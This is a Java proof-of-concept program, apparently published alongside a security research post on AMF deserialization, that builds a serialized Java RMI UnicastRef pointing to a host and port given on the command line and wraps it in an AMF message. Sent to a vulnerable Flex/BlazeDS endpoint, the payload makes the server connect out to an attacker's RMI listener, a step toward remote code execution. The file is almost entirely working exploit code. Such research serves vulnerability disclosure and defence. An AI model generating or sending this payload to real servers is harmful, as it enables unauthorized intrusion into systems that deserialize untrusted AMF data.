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AMF – Another Malicious Format (http://codewhitesec.blogspot.com/2017/04/amf.html)
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import java.io.ByteArrayInputStream; | |
import java.io.ByteArrayOutputStream; | |
import java.io.IOException; | |
import java.util.Arrays; | |
import flex.messaging.io.SerializationContext; | |
import flex.messaging.io.amf.ActionContext; | |
import flex.messaging.io.amf.ActionMessage; | |
import flex.messaging.io.amf.AmfMessageDeserializer; | |
import flex.messaging.io.amf.AmfMessageSerializer; | |
import flex.messaging.io.amf.MessageBody; | |
public class Amf3ExternalizableUnicastRef { | |
public static void main(String[] args) throws IOException, ClassNotFoundException { | |
if (args.length < 2 || (args.length == 3 && !args[0].equals("-d"))) { | |
System.err.println("usage: java -jar " + Amf3ExternalizableUnicastRef.class.getSimpleName() + ".jar [-d] <host> <port>"); | |
return; | |
} | |
boolean doDeserialize = false; | |
if (args.length == 3) { | |
doDeserialize = true; | |
args = Arrays.copyOfRange(args, 1, args.length); | |
} | |
// generate the UnicastRef object | |
Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1])); | |
// serialize object to AMF message | |
byte[] amf = serialize(unicastRef); | |
// deserialize AMF message | |
if (doDeserialize) { | |
deserialize(amf); | |
} else { | |
System.out.write(amf); | |
} | |
} | |
public static Object generateUnicastRef(String host, int port) { | |
java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); | |
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); | |
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false); | |
return new sun.rmi.server.UnicastRef(liveRef); | |
} | |
public static byte[] serialize(Object data) throws IOException { | |
MessageBody body = new MessageBody(); | |
body.setData(data); | |
ActionMessage message = new ActionMessage(); | |
message.addBody(body); | |
ByteArrayOutputStream out = new ByteArrayOutputStream(); | |
AmfMessageSerializer serializer = new AmfMessageSerializer(); | |
serializer.initialize(SerializationContext.getSerializationContext(), out, null); | |
serializer.writeMessage(message); | |
return out.toByteArray(); | |
} | |
public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException { | |
ByteArrayInputStream in = new ByteArrayInputStream(amf); | |
AmfMessageDeserializer deserializer = new AmfMessageDeserializer(); | |
deserializer.initialize(SerializationContext.getSerializationContext(), in, null); | |
deserializer.readMessage(new ActionMessage(), new ActionContext()); | |
} | |
} |
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